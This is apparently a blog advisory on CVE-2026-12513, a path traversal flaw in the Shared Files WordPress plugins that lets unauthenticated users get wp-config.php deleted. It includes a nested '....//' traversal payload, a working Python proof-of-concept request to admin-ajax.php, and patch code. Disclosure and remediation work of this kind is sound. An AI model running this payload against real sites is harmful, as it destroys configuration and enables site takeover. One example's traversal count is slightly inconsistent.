DEV Community

Huynh Kien Minh
Huynh Kien Minh

Posted on

Deep-Dive Write-up by Huynh Kien Minh: CVE-2026-12513 — Shared Files Unauthenticated File Deletion via Path Traversal

#security #wordpress #cve #infosec

🔐 Vulnerability ID: CVE-2026-12513 | 🎯 CVSS Score: 6.8 Medium | 🏆 Lead Researcher: Huynh Kien Minh (MinhHK) | 🔗 WPScan Advisory: Verified Report | 🌐 Portfolio: https://minhhk.web.app/

📖 Advisory Overview

CVE-2026-12513 is an unauthenticated Arbitrary File Deletion vulnerability via Path Traversal affecting the Shared Files and Shared Files Pro WordPress plugins before version 1.7.68, discovered and analyzed by cybersecurity researcher Huynh Kien Minh (MinhHK). The flaw occurs within the plugin's frontend file submission processing routines, where user-supplied file paths are filtered using a flawed single-pass traversal pattern replacement that can be bypassed using nested sequences (such as ....//). Consequently, an unauthenticated remote attacker can submit a manipulated path pointing outside the intended uploads directory to target critical server assets, including wp-config.php. When an administrator subsequently purges or permanently deletes the uploaded entry, the application invokes filesystem deletion primitives (unlink()) against the stored arbitrary path. This results in the destruction of core WordPress configuration files, triggering severe Denial of Service and enabling site takeover via the unconfigured installation setup. Lead researcher Huynh Kien Minh evaluated this vulnerability under CVSS 3.1 score 6.8 Medium (CWE-73 / CWE-22), recommending immediate plugin updates to version 1.7.68 or later and robust canonical path validation.

Quick Links: Explore the official Cybersecurity Portfolio Hub or review the WPScan Verified Advisory.

📌 Executive Summary & Technical Metadata

Parameter Technical Specification
Vulnerability Identifier CVE-2026-12513
Target Software Shared Files / Shared Files Pro (WordPress Plugins)
Plugin Slugs shared-files, shared-files-pro
Vulnerable Versions < 1.7.68
Patched Version >= 1.7.68
Vulnerability Class External Control of File Name or Path / Path Traversal (CWE-73 / CWE-22)
CVSS v3.1 Score 6.8 (Medium) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H)
Discoverer / Researcher Huynh Kien Minh (MinhHK)
Verification Authority WPScan / MITRE Corporation
WPScan Advisory Reference WPScan Report 25c9fa21-c48b-4333-8abc-87230dc4c869
Researcher Portfolio https://minhhk.web.app/

🔍 Deep-Dive Technical Breakdown & Root Cause Analysis

The vulnerability is rooted in an inadequate path sanitization mechanism implemented within frontend file submission handlers in Shared Files (< 1.7.68).

1. Inadequate Single-Pass Path Sanitization

When accepting frontend file submissions, the plugin attempted to strip directory traversal sequences (../) using a single-pass string replacement:

// Insecure single-pass sanitization filter in Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );
Enter fullscreen mode Exit fullscreen mode

Because str_replace() executes only once from left to right:

  • Nested traversal payload: ....//....//....//wp-config.php
  • When ../ is stripped once from ....//, the outer characters collapse back together to form ../:
    • ....// -> ../
  • The resulting sanitized path evaluates to: ../../../../wp-config.php!

2. Stored File Path & Deletion Execution Chain

  1. Unauthenticated Submission: The attacker sends an HTTP request to the frontend upload endpoint providing the nested traversal path. The manipulated path is stored in the database.
  2. Permanent Deletion Trigger: When an administrator reviews submissions or deletes the file record via /wp-admin/admin.php?page=shared-files, the backend calls unlink() on the resolved stored path: 
// Vulnerable deletion logic
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
    unlink( $file_to_delete ); // Triggers deletion of target file (e.g. /var/www/html/wp-config.php)
}
Enter fullscreen mode Exit fullscreen mode
  1. Catastrophic Impact: Once wp-config.php is deleted:
    • The database credentials and security keys are lost.
    • The site immediately enters an unconfigured state, presenting the WordPress setup wizard (/wp-admin/install.php).
    • The attacker can complete the setup wizard with a new database, achieving full Remote Code Execution (RCE) and Site Takeover.

💻 Proof-of-Concept (PoC) Exploit Code

Ethical Disclaimer: This Proof-of-Concept is provided strictly for educational research, defensive validation, and security auditing under ethical disclosure protocols by Huynh Kien Minh.

Python Exploit PoC 

#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoC
Author: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""

import requests
import sys

TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"

def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
    print(f"[*] Auditing Target: {target_url}")

    # Nested traversal sequence bypassing single-pass str_replace('../', '', $input)
    nested_traversal = "....//....//....//....//" + target_file.lstrip("/")

    payload = {
        "action": "shared_files_frontend_upload",
        "file_name": "innocent_document.pdf",
        "file_path": nested_traversal
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
    }

    try:
        response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
        print(f"[*] Submission Response Status: {response.status_code}")
        if response.status_code == 200:
            print("[+] Traversal path successfully injected into database storage.")
            print("[!] When the entry is deleted by admin, the target file will be unlinked.")
            return True
        else:
            print(f"[-] Request failed with HTTP status: {response.status_code}")
    except requests.RequestException as e:
        print(f"[-] Connection failed: {e}")

    return False

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
    trigger_traversal_payload(url)
Enter fullscreen mode Exit fullscreen mode

🛡️ Remediation & Patch Analysis

For Site Administrators

  • Update the Shared Files and Shared Files Pro plugins immediately to version 1.7.68 or higher.
  • Ensure file system permissions on wp-config.php are read-only (chmod 400 or 440) for the web server process.

For Developers (The Secure Implementation)

Enforce strict canonical path resolution using realpath() and wp_normalize_path() to ensure operations remain within the designated uploads boundary:

// Secure Path Validation Pattern (Version 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
    $base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
    $target   = wp_normalize_path( realpath( $base_dir . $relative_path ) );

    // Ensure the resolved realpath strictly starts with the designated base directory
    if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
        wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
    }

    if ( file_exists( $target ) && is_file( $target ) ) {
        unlink( $target );
    }
}
Enter fullscreen mode Exit fullscreen mode

🏆 About the Researcher

Huynh Kien Minh (MinhHK) is an Information Security Researcher specializing in WordPress vulnerability research, core & plugin security audits, and defensive exploit modeling.

📊 JSON-LD Structured Data Schema Markup 

{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "Deep-Dive Technical Write-up by Huynh Kien Minh: CVE-2026-12513 — Shared Files Unauthenticated Arbitrary File Deletion via Path Traversal",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-30",
  "description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
  "identifier": "CVE-2026-12513"
}
Enter fullscreen mode Exit fullscreen mode

Top comments (0)